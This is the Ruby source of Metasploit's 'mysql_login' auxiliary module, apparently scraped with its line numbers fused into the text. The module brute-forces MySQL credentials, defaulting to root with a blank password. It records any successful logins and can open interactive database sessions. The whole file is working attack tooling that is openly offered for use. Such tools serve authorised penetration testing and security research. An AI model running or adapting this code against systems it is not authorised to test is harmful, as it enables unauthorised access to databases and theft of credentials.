Path: blob/master/modules/auxiliary/scanner/mysql/mysql_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/credential_collection'6require 'metasploit/framework/login_scanner/mysql'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::MYSQL10include Msf::Auxiliary::Report11include Msf::Auxiliary::AuthBrute12include Msf::Auxiliary::Scanner13include Msf::Sessions::CreateSessionOptions14include Msf::Auxiliary::CommandShell15include Msf::Auxiliary::ReportSummary1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'MySQL Login Utility',22'Description' => 'This module simply queries the MySQL instance for a specific user/pass (default is root with blank).',23'Author' => [ 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' ],24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '1999-0502'] # Weak password27],28# some overrides from authbrute since there is a default username and a blank password29'DefaultOptions' => {30'USERNAME' => 'root',31'BLANK_PASSWORDS' => true,32'CreateSession' => false33},34'Notes' => {35'Reliability' => UNKNOWN_RELIABILITY,36'Stability' => UNKNOWN_STABILITY,37'SideEffects' => UNKNOWN_SIDE_EFFECTS38}39)40)4142register_options(43[44Opt::Proxies,45OptBool.new('CreateSession', [false, 'Create a new session for every successful login', false])46]47)4849if framework.features.enabled?(Msf::FeatureManager::MYSQL_SESSION_TYPE)50add_info('New in Metasploit 6.4 - The %grnCreateSession%clr option within this module can open an interactive session')51else52options_to_deregister = %w[CreateSession]53end54deregister_options(*options_to_deregister)55end5657# @return [FalseClass]58def create_session?59if framework.features.enabled?(Msf::FeatureManager::MYSQL_SESSION_TYPE)60datastore['CreateSession']61else62false63end64end6566def target67[rhost, rport].join(":")68end6970def run71results = super72logins = results.flat_map { |_k, v| v[:successful_logins] }73sessions = results.flat_map { |_k, v| v[:successful_sessions] }74print_status("Bruteforce completed, #{logins.size} #{logins.size == 1 ? 'credential was' : 'credentials were'} successful.")75return results unless framework.features.enabled?(Msf::FeatureManager::MYSQL_SESSION_TYPE)7677if create_session?78print_status("#{sessions.size} MySQL #{sessions.size == 1 ? 'session was' : 'sessions were'} opened successfully.")79else80print_status('You can open an MySQL session with these credentials and %grnCreateSession%clr set to true')81end82results83end8485def run_host(ip)86begin87if mysql_version_check("4.1.1") # Pushing down to 4.1.1.88cred_collection = build_credential_collection(89username: datastore['USERNAME'],90password: datastore['PASSWORD']91)9293scanner = Metasploit::Framework::LoginScanner::MySQL.new(94configure_login_scanner(95cred_details: cred_collection,96stop_on_success: datastore['STOP_ON_SUCCESS'],97bruteforce_speed: datastore['BRUTEFORCE_SPEED'],98connection_timeout: 30,99max_send_size: datastore['TCP::max_send_size'],100send_delay: datastore['TCP::send_delay'],101framework: framework,102framework_module: self,103use_client_as_proof: create_session?,104ssl: datastore['SSL'],105ssl_version: datastore['SSLVersion'],106ssl_verify_mode: datastore['SSLVerifyMode'],107ssl_cipher: datastore['SSLCipher'],108local_port: datastore['CPORT'],109local_host: datastore['CHOST']110)111)112113successful_logins = []114successful_sessions = []115scanner.scan! do |result|116credential_data = result.to_h117credential_data.merge!(118module_fullname: self.fullname,119workspace_id: myworkspace_id120)121if result.success?122credential_core = create_credential(credential_data)123credential_data[:core] = credential_core124create_credential_login(credential_data)125126print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"127successful_logins << result128129if create_session?130begin131successful_sessions << session_setup(result)132rescue ::StandardError => e133elog('Failed to setup the session', error: e)134print_brute level: :error, ip: ip, msg: "Failed to setup the session - #{e.class} #{e.message}"135result.connection.close unless result.connection.nil?136end137end138else139invalidate_login(credential_data)140vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"141end142end143144else145vprint_error "#{target} - Unsupported target version of MySQL detected. Skipping."146end147rescue ::Rex::ConnectionError, ::EOFError => e148vprint_error "#{target} - Unable to connect: #{e.to_s}"149end150{ successful_logins: successful_logins, successful_sessions: successful_sessions }151end152153# Tmtm's rbmysql is only good for recent versions of mysql, according154# to http://www.tmtm.org/en/mysql/ruby/. We'll need to write our own155# auth checker for earlier versions. Shouldn't be too hard.156# This code is essentially the same as the mysql_version module, just less157# whitespace and returns false on errors.158def mysql_version_check(target = "5.0.67") # Oldest the library claims.159begin160s = connect(false)161data = s.get162disconnect(s)163rescue ::Rex::ConnectionError, ::EOFError => e164raise e165rescue ::Exception => e166vprint_error("#{rhost}:#{rport} error checking version #{e.class} #{e}")167return false168end169offset = 0170l0, l1, l2 = data[offset, 3].unpack('CCC')171return false if data.length < 3172173length = l0 | (l1 << 8) | (l2 << 16)174# Read a bad amount of data175return if length != (data.length - 4)176177offset += 4178proto = data[offset, 1].unpack('C')[0]179# Error condition180return if proto == 255181182offset += 1183version = data[offset..-1].unpack('Z*')[0]184report_service(:host => rhost, :port => rport, :name => "mysql", :info => version)185short_version = version.split('-')[0]186vprint_good "#{rhost}:#{rport} - Found remote MySQL version #{short_version}"187int_version(short_version) >= int_version(target)188end189190# Takes a x.y.z version number and turns it into an integer for191# easier comparison. Useful for other things probably so should192# get moved up to Rex. Allows for version increments up to 0xff.193def int_version(str)194int = 0195begin # Okay, if you're not exactly what I expect, just return 0196return 0 unless str =~ /^[0-9]+\x2e[0-9]+/197198digits = str.split(".")[0, 3].map { |x| x.to_i }199digits[2] ||= 0 # Nil protection200int = (digits[0] << 16)201int += (digits[1] << 8)202int += digits[2]203rescue204return int205end206end207208# @param [Metasploit::Framework::LoginScanner::Result] result209# @return [Msf::Sessions::MySQL]210def session_setup(result)211return unless (result.connection && result.proof)212213my_session = Msf::Sessions::MySQL.new(result.connection, { client: result.proof, **result.proof.detect_platform_and_arch })214merge_me = {215'USERPASS_FILE' => nil,216'USER_FILE' => nil,217'PASS_FILE' => nil,218'USERNAME' => result.credential.public,219'PASSWORD' => result.credential.private220}221222start_session(self, nil, merge_me, false, my_session.rstream, my_session)223end224end225226227